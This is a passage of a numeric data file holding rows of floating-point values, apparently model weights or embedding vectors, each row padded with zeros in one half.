1.00024, -0.79279, 0.255231, 0.033438, 1.094, 0.550816, -0.399286, -1.16739, 0.288223, 0.0151395, 0.338701, 1.04156, 0.620791, 0.469112, -2.60202, 0.35343, -1.36391, -0.893032, 1.87517, 1.72099, 0.90264, -0.498264, 0.381712, -0.863119, 0.287615, -3.51698, 0.069858, 1.45826, -0.00212224, 0.568228, -0.289599, 0.0972889, 1.48762, -0.426067, 0.117066, -2.67787, -0.195016, -0.293411, 0.085265, 0.431811, -0.163816, -1.24482, -0.0881549, -0.151636, -0.403089, 0.656065, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0654065, 0.0445567, 0.531624, -0.429962, 1.30967, 0.23524, -0.0337095, -0.832085, -0.675726, 0.892199, -0.901643, -1.03886, 2.24222, 0.149405, -0.647406, 1.08377, -0.292021, -0.104032, 1.59752, 0.74732, -0.872564, -0.319134, 1.26062, -0.217529, -0.433182, -0.00283914, -0.367162, -1.61319, 0.123492, -1.56846, 0.128873, -0.655853, 0.0514288, 1.09813, -0.056739, 0.40704, -1.76874, -0.0405638, 0.287627, 1.06799, -0.065965, 0.741173, -0.915373, 0.758335, 0.135705, -0.303065, -0.000842059, -0.665239, -0.121987, 0.254632, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0137951, -0.0430181, -0.0073798, -0.0392926, 0.0322195, -0.0609712, 0.0369734, 0.0138845, -0.0518096, -0.00986018, -0.0525004, -0.00824241, 0.0178882, 0.0226641, -0.0147175, 0.0140473, 0.00808601, -0.00621758, -0.00813456, -0.0293587, 0.0386985, 0.0352554, -0.0494415, -0.0165907, 0.01817, -0.00895977, -0.0424001, 0.00337591, -0.0570708, 0.0190646, 0.00862175, 0.0107329, -0.00387455, -0.0386996, -0.000112557, -0.0234993, 0.00733353, 0.00161696, 0.0165031, -0.0226434, 0.0106116, -0.0110366, -0.0311244, -0.0150981, -0.0519452, -0.0371306, -0.0106134, 0.0239354, -0.0111068, 0.0208832, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0275741, -0.0318458, 0.0362307, -0.0329661, -0.0168139, -0.0225805, -0.0220053, -0.0209808, 0.0364449, 0.00886711, -0.0296633, 0.0249922, -0.0344826, -0.0211642, -0.0308126, 0.0168419, -0.0208509, 0.0439975, 0.0358031, 0.0262961, -0.0487837, 0.0168416, -0.0100163, -0.0380725, -0.0435056, -0.0283746, 0.0198772, -0.0532425, 0.0312364, -0.00447607, 0.0143367, 0.0243507, -0.03397, -0.0382439, -0.0182407, -0.0397643, -0.0254054, -0.0413975, -0.0391189, -0.0516403, 0.0414354, -0.000645162, 0.0430882, -0.0381847, -0.0214292, 0.0343117, -0.0181631, -0.0413262, -0.0552824, 0.00263851, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.443208, 0.147105, -0.0234602, -0.0799098, 0.588387, 0.447422, 0.565957, 0.188245, -0.0359102, 0.0112641, -1.08517, -0.252829, -0.629531, 0.482821, -0.708785, 0.77424, -0.104514, -0.616826, -1.97055, 0.877549, 0.209846, 0.0852418, 0.515008, -0.497078, 0.150858, 0.17354, 0.383701, -1.39156, -0.403497, 0.658513, -0.0366228, 0.153751, 0.0187461, -1.41365, -0.707192, -0.607983, -1.02507, -0.152974, -0.469752, 0.62758, -0.685918, 0.396567, -0.320303, 0.283759, -0.623117, 0.0414572, -0.335564, -1.06627, 0.792989, 0.752011, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0921402, 0.157862, -0.0177622, 0.0468232, -1.38905, 0.143028, 0.327523, 0.618659, -1.64153, 0.539334, -0.137094, -1.22578, -1.01492, -0.0749298, 0.745045, -0.808339, 1.41025, -0.561682, -0.598599, -0.164954, -0.228905, 0.293587, 1.0097, 0.417595, -0.185239, 0.484254, 0.577019, -0.294588, -0.330373, 0.0586318, 0.108528, -1.71249, -0.00851683, 0.137736, 0.360638, 0.313622, 0.0637398, -1.55781, 0.352416, 0.0210733, 0.753065, 0.133094, -0.26191, 0.117353, -0.12102, 1.05756, -0.219276, 0.13056, 0.1088, -0.99621, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.577735, 0.346936, -0.450261, -1.07835, -0.093828, 0.0821228, 0.202145, -1.79209, -0.691458, 1.30076, 0.637733, 1.11628, 0.262858, 0.186595, 0.44118, -0.32978, 0.0939495, 0.104536, -1.86339, 1.06252, 0.783639, 0.515075, -0.555473, -0.902473, -0.466527, 0.15036, 0.510341, 0.183799, 0.0712189, -1.85815, 0.444753, -2.21915, -0.00402313, -0.542161, 0.621276, 1.20957, 1.06657, 1.1653, -0.542086, -0.170238, -1.33505, -0.876793, -0.876704, 1.16799, 0.184975, 0.423667, -0.399998, 0.69028, 0.137649, -0.218713, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.59522, 0.622985, 0.138801, 0.168338, -0.0680277, 0.677485, -0.783183, -0.537822, -0.40957, -0.0595727, -0.0208261, -0.327577, -0.248414, -0.147004, -0.26825, -0.129542, 0.322736, -0.00374004, -0.504916, 0.387993, -0.208432, 0.0575961, 1.61203, -0.106081, -0.252547, 0.0804418, -0.719598, -0.80291, 0.133251, -0.316194, 0.0707285, 0.0808404, -0.0393872, 0.884671, -0.0671913, -0.437695, -0.423791, -0.078784, 0.32571, -0.0554263, -0.936516, 0.0528387, 0.55991, 0.352379, -0.188227, -0.0570864, -1.05256, -0.136409, -0.113237, 0.181857, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.668411, 0.181417, -0.470947, 1.07077, 0.936563, 0.0835477, 0.563545, -0.668079, -0.597364, 1.61455, -0.446155, 0.165157, -0.794175, -0.337782, -0.0246135, 0.458282, 0.026788, -0.697292, -0.0181424, 0.803186, 0.919784, -0.630154, -0.283677, -0.429521, 0.104285, 1.45928, -0.20123, -0.563366, 0.256688, 0.167886, -0.3785, -0.289031, 0.00629352, 0.476498, 0.0264959, 0.623547, 0.460262, -1.32569, -0.591019, 0.449734, 0.684046, 0.0393255, 0.302442, -1.02261, 0.206412, 0.905284, 0.292596, 0.173164, -0.262217, 0.157414, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.696999, -0.545886, 0.0776355, -0.0945681, 0.349553, 0.241278, 0.194617, 0.391866, -0.588476, 0.631504, 0.378163, 0.436853, 0.20406, -0.250689, 0.524159, 0.106107, -0.837822, 0.501073, -0.366014, 0.351821, 0.985978, -0.203798, 0.277984, -0.505039, 0.176165, -0.122722, -0.649772, 0.805985, -0.121454, -0.20603, 1.09534, -0.712896, 0.00651909, 1.66394, 0.0630547, 0.102878, 0.500213, 0.204961, 0.456084, -0.756849, 0.106245, -0.0635816, -2.30714, -0.40089, -0.0390745, -0.574504, 0.228474, 0.162601, -0.417665, 0.0919922, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.030359, 0.276971, -0.0645412, -0.999276, -0.436382, 0.50112, 0.542152, 0.0626538, 1.40731, 0.534447, 0.491751, 1.30882, 0.279163, 0.497637, -0.113464, 0.170991, 0.713739, 0.00911289, 0.518826, -0.274209, 0.25091, 0.192606, -1.46102, -0.756375, -1.10926, -0.0373069, 0.141375, -0.184699, 0.179363, -0.336994, 0.277892, 0.251231, -0.0128317, -1.42333, 0.334557, -0.422998, 0.601572, 0.706489, -0.329331, 0.157906, 0.207375, -0.685119, -0.571931, 0.500888, -0.516576, -0.634883, 0.467433, 0.0545275, 0.300081, 0.112017, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.382667, 0.28533, 0.154011, -0.406648, 0.128278, 0.130713, 0.892461, -0.0831382, 1.08209, 0.355996, -0.869692, 0.539401, -0.463405, 0.519041, 1.98249, 0.56675, -0.115061, 0.313281, -5.08188, 0.275676, 0.00852586, -1.53315, 0.853361, 1.34714, -0.081551, 0.770778, 0.0637984, 0.297999, -0.295644, -0.0187116, 0.125329, 0.879721, -0.0357917, 0.452239, 1.13052, 0.501817, -0.0992003, -0.759661, -0.226736, -0.0895184, 0.58055, 0.344972, -0.320061, -1.56246, 0.0524077, 0.259207, -0.344996, 0.287015, 0.10137, -0.123892, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0652968, 0.138562, 0.964271, 0.664875, 0.877901, 0.99358, 0.250171, -1.35242, 0.922804, -0.689248, 1.46457, -0.328802, 0.75941, 0.315419, -0.7653, -1.93953, -0.557314, 0.082752, -4.14905, -0.409674, -1.40623, -0.204651, -2.98403, 1.30668, 0.0750765, -1.01656, 0.0745522, -2.8022, -0.114924, -0.224125, 0.00829396, 0.398512, -0.00332797, 1.42543, -0.544306, -0.0107799, -0.163823, 1.69275, 0.0653385, -2.38011, -1.95247, -0.132947, -0.199299, 0.183785, 0.423123, -0.261475, 0.353459, 0.0566499, 0.148097, 1.12596, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.21643, -0.248725, -0.0708443, -0.0902167, 0.473403, -0.0227487, -0.764313, 0.49616, -0.742082, -1.02979, 0.796507, 1.37971, -0.00415374, -0.804398, -1.27801, -0.241471, -0.152358, 0.941765, -0.113345, -0.168809, -2.99367, -2.92913, 0.680968, 0.164935, 0.0971923, -0.829197, -0.168491, -1.32287, 0.632846, -0.13934, 0.812873, 0.0207196, -0.0438592, -0.189742, -0.107115, 0.675689, -0.524062, 0.79365, -0.310938, 0.333209, -0.95087, 0.0917954, -0.106598, 0.175794, 0.278087, -0.432877, 0.280339, 0.860595, -0.376132, 0.355413, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0533686, 0.0203306, -0.0576104, -0.0504519, -0.0386533, -0.0176528, 0.0221101, -0.011941, 0.0271898, -0.0466891, 0.032675, 0.0182308, -0.0426982, -0.0220066, -0.0144213, -0.0399373, 0.0240943, 0.000928828, 0.0359485, -0.046283, -0.0176559, -0.0404079, 0.0330463, 0.0247174, -0.0667222, -0.00471403, -0.00232081, -0.0542284, -0.0121961, -0.0244754, -0.0425426, -0.0441733, -0.0227839, -0.0117356, -0.00805042, -0.0338647, -0.0450417, 0.00326763, -0.00890093, -0.0470777, -0.0510312, -0.0208934, -0.00404004, -0.0220884, 0.0138808, -0.00757019, -0.0380511, -0.0042041, 0.00879273, 0.0280899, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0143048, -0.173911, 0.0542801, -0.0937203, 0.0233908, 0.0231393, 0.0338507, 0.0341294, -0.000292273, 0.0695284, -0.00608296, 0.0486638, 0.0165033, 0.050365, 0.0539218, 0.0126618, 0.0533028, -0.00118299, 0.000839982, 0.0329538, -0.15014, 0.0692793, 0.0138926, -0.138826, -0.0219308, 0.0560204, 0.0813038, -0.0375185, 0.0295093, -0.273635, 0.00879983, 0.0306549, 0.0171763, 0.0515503, 0.0324117, 0.0504601, 0.0287953, 0.0439258, -0.200143, -0.048557, -0.156812, -0.150272, -0.299819, 0.000273368, -0.105414, -0.100202, 0.0276583, -0.163286, 0.0217388, -0.0995568, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.379, 0.2128, 0.1853, -0.1764, -0.405, -0.1346, 0.7896, 0.1376, 1.183, 0.3208, 0.677, -0.12427, 1.264, 0.0693, -0.4504, -0.3323, -0.0731, 0.02805, -0.2559, 0.394, -1.686, 0.4893, 0.067, -1.625, 0.3381, -0.00883, 0.29, 0.3289, 0.4902, -1.245, -0.78, -3.055, -0.0339, -0.1392, -0.4607, -0.2251, 0.7983, 0.2164, -0.2313, -0.42, -0.07007, -0.03482, -0.2378, -1.383, -1.189, -0.5957, 0.3674, -0.3782, -0.537, 0.5903], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.779, 0.04285, -0.2766, -0.4219, -1.697, -0.527, -0.753, -0.7646, 0.2935, 0.2301, 0.5938, -0.506, -0.2333, -0.1648, -0.501, 0.1312, 0.6543, 0.1213, -2.229, 0.1501, 0.4543, -0.21, 0.2812, 0.6577, -0.4634, -0.07477, -0.2214, -0.627, -0.05728, -0.9497, -1.392, 0.1141, -0.01541, 0.3806, -0.01199, -0.4314, 0.1978, 0.3298, 0.2964, 0.04715, -0.4658, 0.1602, -0.6426, -0.274, 0.332, -0.6714, 1.499, -0.3433, 0.982, -0.834], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.076, -0.7393, -0.228, -0.05322, 0.2263, 0.0991, -0.4468, 0.468, 0.649, 0.883, 0.3992, -0.749, 0.751, -0.05103, 0.1503, -0.41, 0.6943, -0.03662, 0.9814, -0.5215, -2.074, 0.848, 1.457, 0.716, -1.048, -0.5693, 0.1871, -0.5557, -0.253, 0.1412, 2.326, 0.5664, 0.02602, -0.4167, -0.1803, 0.575, -0.08514, 0.02419, -0.2166, -0.2325, 0.5107, 0.715, -0.3552, 0.1694, -0.211, 0.03583, -0.07996, -0.1147, 0.3188, -0.6274], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.03105, -0.1729, 0.0359, -0.126, 0.0771, 0.0366, 0.01837, 0.07294, 0.0943, -0.01447, 0.0441, 0.04788, 0.01187, 0.03726, 0.00784, 0.01732, 0.05264, 0.04044, 0.0263, 0.0776, -0.1444, 0.01507, 0.07074, -0.1252, 0.0635, 0.03265, 0.03137, -0.1163, 0.003239, -0.2852, 0.03943, 0.05002, 0.02036, 0.03497, 0.06824, 0.03586, 0.0684, 0.06604, -0.2988, -0.06573, -0.1311, -0.2107, -0.316, -0.0872, -0.05777, -0.0897, -0.0225, -0.2052, 0.01139, -0.1139], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.2659, -2.502, 0.8325, -0.4185, 0.2083, 0.5576, 0.694, -0.722, -1.111, 0.0842, 0.1377, -0.217, -0.6245, 0.03204, -1.404, 0.551, -0.05154, 0.2251, 0.9146, -0.5137, 0.351, 0.12354, -0.08746, -1.352, -0.01043, 0.02045, 0.05582, -0.1185, 1.099, -0.09607, -0.0853, 0.8867, 0.0107, -1.095, 0.414, -0.1311, -0.0864, 0.2347, -0.02586, -0.1002, 0.6733, -6.004, 0.4656, 0.5654, 0.862, 0.2073, -0.1996, -0.0927, -0.525, -0.10986], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.006924, 0.4612, 0.6006, -0.481, -0.0667, -0.151, 0.461, -0.2844, 1.248, 1.091, 0.00792, -0.2507, -0.3152, 0.1071, -0.2092, -1.522, 0.3281, 0.359, 1.309, 0.3464, -0.389, -0.3572, -0.02295, -0.11487, -1.081, 0.5977, -0.5874, -0.7197, -0.3586, 0.2172, -1.011, -0.6284, -0.01707, 0.2559, 1.068, -0.628, 0.12134, -0.9067, 0.3508, -0.5654, 0.976, 0.3418, 0.0468, -0.3528, 0.574, -0.461, -0.6245, 0.411, 1.294, 0.02809], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1114, -0.435, 0.1476, 0.599, 0.821, -0.3118, 0.2852, 0.2472, 0.0886, -0.361, 0.193, -0.05685, -0.8945, -0.2273, -0.0647, -0.3684, -0.6465, 0.4597, -1.93, 0.1349, 0.4092, -0.4524, 0.2698, 0.305, 0.02206, 0.5273, 0.5327, -1.541, -0.5005, -0.56, 0.6025, 0.567, 0.01045, 0.2295, 0.2122, 0.4612, 0.7026, -0.0314, -0.1293, 1.299, -0.0053, -0.8125, -1.349, -0.3992, -0.10254, -0.734, 0.2021, 0.2413, 0.0687, -0.2932], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.4646, -0.4185, 0.8765, -0.0635, 0.4163, 0.444, -0.1923, 0.0841, 0.02603, -0.2192, -0.1482, 0.05334, -0.559, -0.2827, 0.2725, -0.535, 0.1013, -0.5034, -2.18, 0.03326, -0.968, -0.569, 2.066, 0.1382, -0.0523, 0.003515, -0.09045, 0.1447, 0.1871, -0.5356, 1.213, -0.744, -0.032, -0.1481, 0.01758, 0.00532, 0.05057, 0.763, -0.2052, 0.529, 0.6426, -0.1339, -0.6787, -0.4868, 0.13, -0.01688, 0.563, 0.2488, 0.1532, 0.4648], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2373, 0.1277, -0.4165, -1.303, 1.6045, 0.203, 0.362, -0.2418, -1.299, 1.821, -0.791, -1.408, -0.48, -0.843, -0.01947, -0.1487, 0.0658, -0.9585, -0.506, 0.4302, -0.6685, 0.3035, 0.5186, -0.09894, 0.287, 0.555, -0.4814, -2.256, -0.1796, -1.49, 0.319, 0.005997, 0.001347, 0.1273, 0.5195, -1.114, -0.451, -0.7534, -0.2876, -0.1517, -0.45, -0.4043, -0.3586, -0.983, -0.06152, -2.744, -0.5728, -0.3254, 0.2686, 0.2666], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.861, 0.01808, -0.04626, 0.4216, 0.6343, -0.0005245, 0.00897, 1.678, 0.4778, 0.2144, 0.664, -0.03708, 0.02061, 0.45, 0.6943, -5.086, -0.03156, -0.8115, -0.4626, -0.8975, -0.02043, -0.1931, 0.8423, 0.4746, 0.04855, 0.8174, 1.409, -0.2876, 0.57, 0.4177, 0.3594, 0.688, 0.02052, -0.06976, 0.07025, 0.5483, 0.2163, -0.01148, -0.8594, 0.1638, 0.695, -0.4568, 0.3264, -0.772, -0.1917, 0.4827, -0.3315, 0.09894, -0.8022, -0.449], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.008, -0.1868, -0.297, -0.4917, -0.42, 0.1813, -0.6475, -0.9688, 0.581, 1.019, 0.4534, -0.01645, 0.05215, 1.112, -1.006, 1.183, 0.05145, -0.06058, 0.01154, 0.006527, 0.0652, 0.04282, 1.106, -0.012054, -0.6006, 0.634, 0.3506, -0.02776, 0.3762, 0.3372, 2.752, 1.4, 0.03818, 3.164, -0.7666, 0.7734, -0.0698, -0.541, -0.1117, -0.587, -0.3445, 0.1162, -0.37, -0.0354, 0.6895, 0.586, 0.5586, 0.193, -0.03397, -0.2087], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 